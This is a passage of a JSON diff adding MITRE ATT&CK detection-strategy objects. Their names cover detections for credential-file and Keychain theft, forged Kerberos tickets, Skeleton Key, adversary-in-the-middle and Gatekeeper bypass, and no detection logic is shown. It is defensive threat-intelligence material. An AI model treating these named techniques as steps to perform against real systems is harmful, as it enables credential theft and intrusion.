"x-mitre-analytic--badcc199-683b-41f5-9522-9710969cff15" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6182825d-f41f-4d87-ac93-937f7894ab1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0001", + "external_id": "DET0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access to Cloud Instance Metadata API (IaaS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f4af0b1b-db51-4266-8b02-2cdfcb191f60" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b34a9911-8261-45b4-af09-3885f9b82cc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307", + "external_id": "DET0307" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access to Unsecured Credential Files Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0277e29a-af6d-4242-a187-32673328664a", + "x-mitre-analytic--7ff5d08a-5d4d-4260-85ee-fdb6a244f258", + "x-mitre-analytic--df289d0f-0f31-487e-b213-9a492d903f2c", + "x-mitre-analytic--9c5d279c-eb09-4592-91a4-8cf6436522b6", + "x-mitre-analytic--01d19202-019e-43c9-a5e9-e1e2a38eb738" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cc6c18b5-1fa6-4e27-8c78-e479428bef44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0396", + "external_id": "DET0396" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access to macOS Keychain for Credential Theft", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--015260e0-432e-4eaf-978e-b1a32fa6af6a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ba8d3a5d-9ddc-4301-b021-84ca2c6854de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0312", + "external_id": "DET0312" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Active Setup Persistence via StubPath Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0be2ac94-5f56-4bdc-bf07-ec9ea08c8bb7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5b3bf2de-d91e-4272-97a8-5df6f4071e45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0275", + "external_id": "DET0275" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Adversary Deobfuscation or Decoding of Files and Payloads", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--75f05a04-103c-432a-afd6-8a8987b4370e", + "x-mitre-analytic--c4866ad5-310c-4a72-89b5-1e5a8683d286", + "x-mitre-analytic--0029e7e7-d42c-4a91-8d00-6bf6fd72962f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0eb48c77-9056-4178-900b-7ac23fd1c7cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0296", + "external_id": "DET0296" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Adversary-in-the-Middle via Network and Configuration Anomalies", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c15f60a8-6e58-460f-8dcf-1bce272b5eaf", + "x-mitre-analytic--3cdef7d3-4ca6-4d4a-933b-656af73f8433", + "x-mitre-analytic--7535f2e7-d7bb-4e92-8a63-36cd9ccc01be", + "x-mitre-analytic--bb3daf14-f237-4688-a319-a4d7570e407e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--043bc738-1f07-4d28-9f5c-1b1f81525e7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0526", + "external_id": "DET0526" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Archiving and Encryption of Collected Data (T1560)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--eaeb2a44-eebe-41f3-875a-a34abdc03252", + "x-mitre-analytic--8018e3a6-ab64-4fe2-9771-ca129091bc17", + "x-mitre-analytic--0f4789c9-7946-473f-967b-e8ca59fa3c8c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--edf894b7-052a-4baf-8984-f01ec773c80c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0438", + "external_id": "DET0438" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Archiving via Custom Method (T1560.003)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3f47f3e9-2856-4830-9762-7ca0c3924f6d", + "x-mitre-analytic--32ca8e2c-9c1e-4883-aa98-439efbfc76e4", + "x-mitre-analytic--1a39005f-28e7-4b07-85e2-14ffa0f6ea3b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a3dcb195-d1b5-4bce-b62b-ba9bdaed56d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0268", + "external_id": "DET0268" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Archiving via Library (T1560.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4bdc0555-f7f0-4b5b-80c9-77f361881a01", + "x-mitre-analytic--90e51090-9857-4a28-98b9-f21401ddbe85", + "x-mitre-analytic--4ecd8727-bcf3-4fce-8c04-e8d0bad1267e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e8528ab8-3467-423b-92b6-115f8ecc266d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0298", + "external_id": "DET0298" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Archiving via Utility (T1560.001)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ebfa3aa8-dc7c-4d56-868e-169c873b5e78", + "x-mitre-analytic--89cfa3ac-22c9-462f-a6a5-b142124e22a5", + "x-mitre-analytic--18cf5cf7-f46b-4258-a0aa-503881c9c88e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dcf2474e-0774-40da-b7e6-f4b60d0ea62f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0035", + "external_id": "DET0035" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Bidirectional Web Service C2 Channels via Process & Network Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--27bd3e33-9a61-4dfb-9fba-205a6c880264", + "x-mitre-analytic--1edab644-3ec0-4c5d-bc26-18744fbc7a6e", + "x-mitre-analytic--5935bda3-8d4d-44b4-aca4-8b40cf45f686" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eec6a137-c506-4654-8780-8e3028f3fd28", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0523", + "external_id": "DET0523" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Code Signing Policy Modification (Windows & macOS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--83067587-4426-44cb-89de-f2b948c91104", + "x-mitre-analytic--7853421f-8eb4-49c3-9943-077430b97037" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--110a934e-881a-4e42-9619-b6de30f4a39e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0336", + "external_id": "DET0336" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Compromise of Host Software Binaries", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e2ebd04e-074d-4b90-b94c-a43048b1c3ac", + "x-mitre-analytic--9b2ff34a-1967-46a9-b355-f9584a0715b5", + "x-mitre-analytic--88eaf8ce-b48d-4329-a147-dd5d065cead2", + "x-mitre-analytic--fa36a169-1cca-4887-b362-e3cceb02414f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4cd84c0e-b125-4576-9441-57c1664bf014", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0030", + "external_id": "DET0030" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Conditional Access Policy Modification in Identity and Cloud Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b88f87d2-4a64-44a2-937e-85a929203843", + "x-mitre-analytic--9eb2a081-e252-4009-a16e-90c9a85f70f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6c9e1f65-7d75-4091-b97d-e5f88ed12812", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0250", + "external_id": "DET0250" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Credential Discovery via Windows Registry Enumeration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4c744ac0-ba25-4b42-8397-9b398ba55eb8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1a273fde-f4fc-4ca0-94d4-7df285167b5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0430", + "external_id": "DET0430" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Credentials Access from Password Stores", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--de4fe01d-96d7-4258-a1d6-6958fe50a4ed", + "x-mitre-analytic--571b10ce-fb7d-492e-b05a-23649ae14148", + "x-mitre-analytic--2bec56a7-957c-44b4-b730-00dd55ff99f8", + "x-mitre-analytic--2c8326bd-dd59-4715-87ef-dc3bdef919fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9f227978-8d56-406f-9d50-ef10aae1bf77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0468", + "external_id": "DET0468" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect DHCP Spoofing Across Linux, Windows, and macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--780021a3-d3e6-4c5b-a976-1c3715b990e2", + "x-mitre-analytic--05d8ce15-eaeb-47f5-abb7-8f8868dd8aaa", + "x-mitre-analytic--4f2bc468-a57d-44e9-b9cd-d491df6b0daf" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--61585647-dcc0-4c46-9333-c59796997826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0061", + "external_id": "DET0061" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Default File Association Hijack via Registry & Execution Correlation on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3ac58f14-32d6-4ce2-8aa7-e7c429dd6405" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ac249d7-5e15-47b4-a507-18d94b11de4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0271", + "external_id": "DET0271" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Domain Controller Authentication Process Modification (Skeleton Key)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--40882c73-344f-4138-894e-049b9bb1f460" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b376d299-69ef-444a-8ba1-15a6c7049605", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0379", + "external_id": "DET0379" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Evil Twin Wi-Fi Access Points on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--670462e3-6c3e-4779-af75-2a0424a5d221" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c0a23061-c4f3-4003-9e81-e81d50b6d1e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028", + "external_id": "DET0028" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Excessive or Unauthorized Bandwidth Usage for Botnet, Proxyjacking, or Scanning Purposes", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c699a4ee-83dd-48d8-94ae-658204066ae9", + "x-mitre-analytic--10e9d109-0a17-41cd-9d0b-67c679bc94b7", + "x-mitre-analytic--35a5d72b-6c69-498a-9118-14cd6c85a57a", + "x-mitre-analytic--2fe9bf69-b1a8-4c60-8b20-c11054d31158", + "x-mitre-analytic--b0d018e2-0384-4e27-92ed-c9b181999fa9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b45310bb-d520-43b3-8758-e9d5a9738429", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0022", + "external_id": "DET0022" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f2064dd1-8cdb-472e-b187-8d1ef18fb059" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cbf5f016-0801-4861-93d8-d372645778d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0144", + "external_id": "DET0144" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Forged Kerberos Golden Tickets (T1558.001)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fd614a66-7e99-4a69-9070-3c11036f0335" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--77e72172-b088-4a98-bddd-ca04cbfc32ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0241", + "external_id": "DET0241" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Forged Kerberos Silver Tickets (T1558.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--88ece783-08bc-41e6-a000-a63f540768cc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--62d7a748-dee5-46c7-b61c-77f57f371b4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0288", + "external_id": "DET0288" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b6516e8b-fd18-4c92-8701-1762d8321168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6b681059-99f7-46ff-bd36-96fd414074d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0293", + "external_id": "DET0293" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Hybrid Identity Authentication Process Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--344f0add-d372-4e0e-88c6-f48e6b424434", + "x-mitre-analytic--e1063b92-9be0-4d25-9df5-bae4171c8153", + "x-mitre-analytic--80e4f847-a149-423b-a179-cbcf4afd06b9", + "x-mitre-analytic--07b8a45e-6435-4c67-ac15-47db21c1d1b9", + 